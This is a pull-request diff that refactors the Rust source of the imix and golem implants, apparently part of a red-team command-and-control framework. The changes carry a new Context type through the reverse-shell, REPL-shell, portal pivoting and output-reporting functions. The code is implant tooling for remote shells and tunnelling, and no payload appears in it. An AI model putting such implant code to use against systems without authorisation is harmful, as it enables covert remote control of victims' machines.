Skip to content
Merged
Show file tree
Hide file tree
Changes from 9 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions implants/golem/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ rust-embed = { workspace = true }
eldritch-core = { workspace = true }
eldritch-macros = { workspace = true }
eldritch = { workspace = true, features = ["std", "stdlib", "fake_agent"] }
eldritch-agent = { workspace = true }
# Need fake here so we import this on its own
tokio.workspace = true
futures.workspace = true
Expand Down
9 changes: 5 additions & 4 deletions implants/golem/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ use eldritch::assets::{
};
use eldritch::conversion::ToValue;
use eldritch::{ForeignValue, Interpreter, StdoutPrinter};
use eldritch_agent::Context;
use pb::c2::TaskContext;
use std::collections::BTreeMap;
use std::fs;
Expand Down Expand Up @@ -46,12 +47,12 @@ fn new_runtime(assetlib: impl ForeignValue + 'static) -> Interpreter {
task_id: 0,
jwt: String::new(),
};
let agent_lib = StdAgentLibrary::new(agent.clone(), task_context.clone());
let context = Context::Task(task_context);
let agent_lib = StdAgentLibrary::new(agent.clone(), context.clone());
interp.register_lib(agent_lib);
let report_lib =
eldritch::report::std::StdReportLibrary::new(agent.clone(), task_context.clone());
let report_lib = eldritch::report::std::StdReportLibrary::new(agent.clone(), context.clone());
interp.register_lib(report_lib);
let pivot_lib = eldritch::pivot::std::StdPivotLibrary::new(agent.clone(), task_context.clone());
let pivot_lib = eldritch::pivot::std::StdPivotLibrary::new(agent.clone(), context.clone());
interp.register_lib(pivot_lib);
interp.register_lib(assetlib);
interp
Expand Down
1 change: 1 addition & 0 deletions implants/imix/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ crossterm = { workspace = true }
prost-types = { workspace = true }
pretty_env_logger = { workspace = true }
eldritch = { workspace = true, features = ["std", "stdlib"] }
eldritch-agent = { workspace = true }
transport = { workspace = true }
pb = { workspace = true, features = ["imix"] }
portable-pty = { workspace = true }
Expand Down
193 changes: 103 additions & 90 deletions implants/imix/src/agent.rs
Original file line number Diff line number Diff line change
@@ -1,8 +1,13 @@
use anyhow::{Context, Result};
use anyhow::{Context as AnyhowContext, Result};
use eldritch::agent::agent::Agent;
use eldritch_agent::Context;
use pb::c2::host::Platform;
use pb::c2::transport::Type;
use pb::c2::{self, ClaimTasksRequest, TaskContext};
use pb::c2::{
self, ClaimTasksRequest, ReportOutputRequest, ReportShellTaskOutputMessage,
ReportTaskOutputMessage, ShellTaskContext, ShellTaskOutput, TaskContext, TaskOutput,
report_output_request,
};
use pb::config::Config;
use std::collections::{BTreeMap, BTreeSet};
use std::sync::{Arc, Mutex};
Expand All @@ -24,8 +29,8 @@ pub struct ImixAgent<T: Transport> {
runtime_handle: tokio::runtime::Handle,
pub task_registry: Arc<TaskRegistry>,
pub subtasks: Arc<Mutex<BTreeMap<i64, tokio::task::JoinHandle<()>>>>,
pub output_tx: std::sync::mpsc::SyncSender<c2::ReportTaskOutputRequest>,
pub output_rx: Arc<Mutex<std::sync::mpsc::Receiver<c2::ReportTaskOutputRequest>>>,
pub output_tx: std::sync::mpsc::SyncSender<c2::ReportOutputRequest>,
pub output_rx: Arc<Mutex<std::sync::mpsc::Receiver<c2::ReportOutputRequest>>>,
pub shell_manager_tx: tokio::sync::mpsc::Sender<ShellManagerMessage>,
}

Expand Down Expand Up @@ -140,99 +145,99 @@ impl<T: Transport + Sync + 'static> ImixAgent<T> {
return;
}

let mut merged_task_outputs: BTreeMap<i64, c2::ReportTaskOutputRequest> = BTreeMap::new();
let mut merged_shell_outputs: BTreeMap<i64, c2::ReportTaskOutputRequest> = BTreeMap::new();
let mut merged_task_outputs: BTreeMap<i64, (TaskContext, TaskOutput)> = BTreeMap::new();
let mut merged_shell_outputs: BTreeMap<i64, (ShellTaskContext, ShellTaskOutput)> =
BTreeMap::new();

for output in outputs {
// Handle Task Output
if let Some(new_out) = &output.output {
let task_id = output
.context
.as_ref()
.map(|c| c.task_id)
.unwrap_or_default();

use std::collections::btree_map::Entry;
match merged_task_outputs.entry(task_id) {
Entry::Occupied(mut entry) => {
let existing = entry.get_mut();
if let Some(existing_out) = &mut existing.output {
existing_out.output.push_str(&new_out.output);
match (&mut existing_out.error, &new_out.error) {
(Some(e1), Some(e2)) => e1.msg.push_str(&e2.msg),
(None, Some(e2)) => existing_out.error = Some(e2.clone()),
_ => {}
if let Some(msg) = output.message {
match msg {
report_output_request::Message::TaskOutput(m) => {
if let (Some(ctx), Some(new_out)) = (m.context, m.output) {
let task_id = ctx.task_id;
use std::collections::btree_map::Entry;
match merged_task_outputs.entry(task_id) {
Entry::Occupied(mut entry) => {
let (_, existing_out) = entry.get_mut();
existing_out.output.push_str(&new_out.output);
match (&mut existing_out.error, &new_out.error) {
(Some(e1), Some(e2)) => e1.msg.push_str(&e2.msg),
(None, Some(e2)) => existing_out.error = Some(e2.clone()),
_ => {}
}
if new_out.exec_finished_at.is_some() {
existing_out.exec_finished_at =
new_out.exec_finished_at.clone();
}
}
Entry::Vacant(entry) => {
entry.insert((ctx, new_out));
}
}
if new_out.exec_finished_at.is_some() {
existing_out.exec_finished_at = new_out.exec_finished_at.clone();
}
} else {
existing.output = Some(new_out.clone());
}
existing.context = output.context.clone();
}
Entry::Vacant(entry) => {
let req = c2::ReportTaskOutputRequest {
output: Some(new_out.clone()),
context: output.context.clone(),
shell_task_output: None,
};
entry.insert(req);
}
}
}

// Handle Shell Task Output
if let Some(new_shell_out) = &output.shell_task_output {
let shell_task_id = new_shell_out.id;

use std::collections::btree_map::Entry;
match merged_shell_outputs.entry(shell_task_id) {
Entry::Occupied(mut entry) => {
let existing = entry.get_mut();
if let Some(existing_out) = &mut existing.shell_task_output {
existing_out.output.push_str(&new_shell_out.output);
match (&mut existing_out.error, &new_shell_out.error) {
(Some(e1), Some(e2)) => e1.msg.push_str(&e2.msg),
(None, Some(e2)) => existing_out.error = Some(e2.clone()),
_ => {}
report_output_request::Message::ShellTaskOutput(m) => {
if let (Some(ctx), Some(new_shell_out)) = (m.context, m.output) {
let shell_task_id = ctx.shell_task_id;
use std::collections::btree_map::Entry;
match merged_shell_outputs.entry(shell_task_id) {
Entry::Occupied(mut entry) => {
let (_, existing_out) = entry.get_mut();
existing_out.output.push_str(&new_shell_out.output);
match (&mut existing_out.error, &new_shell_out.error) {
(Some(e1), Some(e2)) => e1.msg.push_str(&e2.msg),
(None, Some(e2)) => existing_out.error = Some(e2.clone()),
_ => {}
}
if new_shell_out.exec_finished_at.is_some() {
existing_out.exec_finished_at =
new_shell_out.exec_finished_at.clone();
}
}
Entry::Vacant(entry) => {
entry.insert((ctx, new_shell_out));
}
}
if new_shell_out.exec_finished_at.is_some() {
existing_out.exec_finished_at =
new_shell_out.exec_finished_at.clone();
}
} else {
existing.shell_task_output = Some(new_shell_out.clone());
}
}
Entry::Vacant(entry) => {
let req = c2::ReportTaskOutputRequest {
output: None,
context: None,
shell_task_output: Some(new_shell_out.clone()),
};
entry.insert(req);
}
}
}
}

let mut transport = self.transport.write().await;
for (_, output) in merged_task_outputs {
for (_, (ctx, output)) in merged_task_outputs {
#[cfg(debug_assertions)]
log::info!("Task Output: {output:#?}");

if let Err(_e) = transport.report_task_output(output).await {
let req = ReportOutputRequest {
message: Some(report_output_request::Message::TaskOutput(
ReportTaskOutputMessage {
context: Some(ctx),
output: Some(output),
},
)),
};

if let Err(_e) = transport.report_output(req).await {
#[cfg(debug_assertions)]
log::error!("Failed to report task output: {_e}");
}
}

for (_, output) in merged_shell_outputs {
for (_, (ctx, output)) in merged_shell_outputs {
#[cfg(debug_assertions)]
log::info!("Shell Task Output: {output:#?}");

if let Err(_e) = transport.report_task_output(output).await {
let req = ReportOutputRequest {
message: Some(report_output_request::Message::ShellTaskOutput(
ReportShellTaskOutputMessage {
context: Some(ctx),
output: Some(output),
},
)),
};

if let Err(_e) = transport.report_output(req).await {
#[cfg(debug_assertions)]
log::error!("Failed to report shell task output: {_e}");
}
Expand Down Expand Up @@ -423,38 +428,46 @@ impl<T: Transport + Send + Sync + 'static> Agent for ImixAgent<T> {
self.with_transport(|mut t| async move { t.report_process_list(req).await })
}

fn report_task_output(
fn report_output(
&self,
req: c2::ReportTaskOutputRequest,
) -> Result<c2::ReportTaskOutputResponse, String> {
req: c2::ReportOutputRequest,
) -> Result<c2::ReportOutputResponse, String> {
// Buffer output instead of sending immediately
self.output_tx
.try_send(req)
.map_err(|_| "Output buffer full".to_string())?;
Ok(c2::ReportTaskOutputResponse {})
Ok(c2::ReportOutputResponse {})
}

fn start_reverse_shell(
&self,
task_context: TaskContext,
cmd: Option<String>,
) -> Result<(), String> {
self.spawn_subtask(task_context.task_id, move |transport| async move {
run_reverse_shell_pty(task_context, cmd, transport).await
fn start_reverse_shell(&self, context: Context, cmd: Option<String>) -> Result<(), String> {
let id = match &context {
Context::Task(tc) => tc.task_id,
Context::ShellTask(stc) => stc.shell_task_id,
};
self.spawn_subtask(id, move |transport| async move {
run_reverse_shell_pty(context, cmd, transport).await
})
}

fn create_portal(&self, task_context: TaskContext) -> Result<(), String> {
fn create_portal(&self, context: Context) -> Result<(), String> {
let shell_manager_tx = self.shell_manager_tx.clone();
self.spawn_subtask(task_context.task_id, move |transport| async move {
run_create_portal(task_context, transport, shell_manager_tx).await
let id = match &context {
Context::Task(tc) => tc.task_id,
Context::ShellTask(stc) => stc.shell_task_id,
};
self.spawn_subtask(id, move |transport| async move {
run_create_portal(context, transport, shell_manager_tx).await
})
}

fn start_repl_reverse_shell(&self, task_context: TaskContext) -> Result<(), String> {
fn start_repl_reverse_shell(&self, context: Context) -> Result<(), String> {
let agent = self.clone();
self.spawn_subtask(task_context.task_id, move |transport| async move {
run_repl_reverse_shell(task_context, transport, agent).await
let id = match &context {
Context::Task(tc) => tc.task_id,
Context::ShellTask(stc) => stc.shell_task_id,
};
self.spawn_subtask(id, move |transport| async move {
run_repl_reverse_shell(context, transport, agent).await
})
}

Expand Down
6 changes: 3 additions & 3 deletions implants/imix/src/portal/mod.rs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
use crate::shell::manager::ShellManagerMessage;
use anyhow::Result;
use pb::c2::TaskContext;
use eldritch_agent::Context;
use tokio::sync::mpsc;
use transport::Transport;

Expand All @@ -10,9 +10,9 @@ pub mod tcp;
pub mod udp;

pub async fn run_create_portal<T: Transport + Send + Sync + 'static>(
task_context: TaskContext,
context: Context,
transport: T,
shell_manager_tx: mpsc::Sender<ShellManagerMessage>,
) -> Result<()> {
run::run(task_context, transport, shell_manager_tx).await
run::run(context, transport, shell_manager_tx).await
}
22 changes: 18 additions & 4 deletions implants/imix/src/portal/run.rs
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
use anyhow::Result;
use pb::c2::{CreatePortalRequest, CreatePortalResponse, TaskContext};
use eldritch_agent::Context;
use pb::c2::{CreatePortalRequest, CreatePortalResponse, create_portal_request};
use pb::portal::{BytesPayloadKind, Mote, mote::Payload};
use pb::trace::{TraceData, TraceEvent, TraceEventKind};
use portal_stream::{OrderedReader, PayloadSequencer};
Expand All @@ -20,7 +21,7 @@ struct StreamContext {
}

pub async fn run<T: Transport + Send + Sync + 'static>(
task_context: TaskContext,
context: Context,
mut transport: T,
shell_manager_tx: mpsc::Sender<ShellManagerMessage>,
) -> Result<()> {
Expand Down Expand Up @@ -48,10 +49,17 @@ pub async fn run<T: Transport + Send + Sync + 'static>(
// Channel for handler tasks to send outgoing motes back to main loop
let (out_tx, mut out_rx) = mpsc::channel::<Mote>(100);

let context_val = match &context {
Context::Task(tc) => Some(create_portal_request::Context::TaskContext(tc.clone())),
Context::ShellTask(stc) => Some(create_portal_request::Context::ShellTaskContext(
stc.clone(),
)),
};

// Send initial registration message
if let Err(_e) = req_tx
.send(CreatePortalRequest {
context: Some(task_context.clone()),
context: context_val.clone(),
mote: None,
})
.await
Expand Down Expand Up @@ -90,8 +98,14 @@ pub async fn run<T: Transport + Send + Sync + 'static>(
msg = out_rx.recv() => {
match msg {
Some(mote) => {
let context_val = match &context {
Context::Task(tc) => Some(create_portal_request::Context::TaskContext(tc.clone())),
Context::ShellTask(stc) => {
Some(create_portal_request::Context::ShellTaskContext(stc.clone()))
}
};
let req = CreatePortalRequest {
context: Some(task_context.clone()),
context: context_val,
mote: Some(mote),
};
if let Err(_e) = req_tx.send(req).await {
Expand Down
Loading
Loading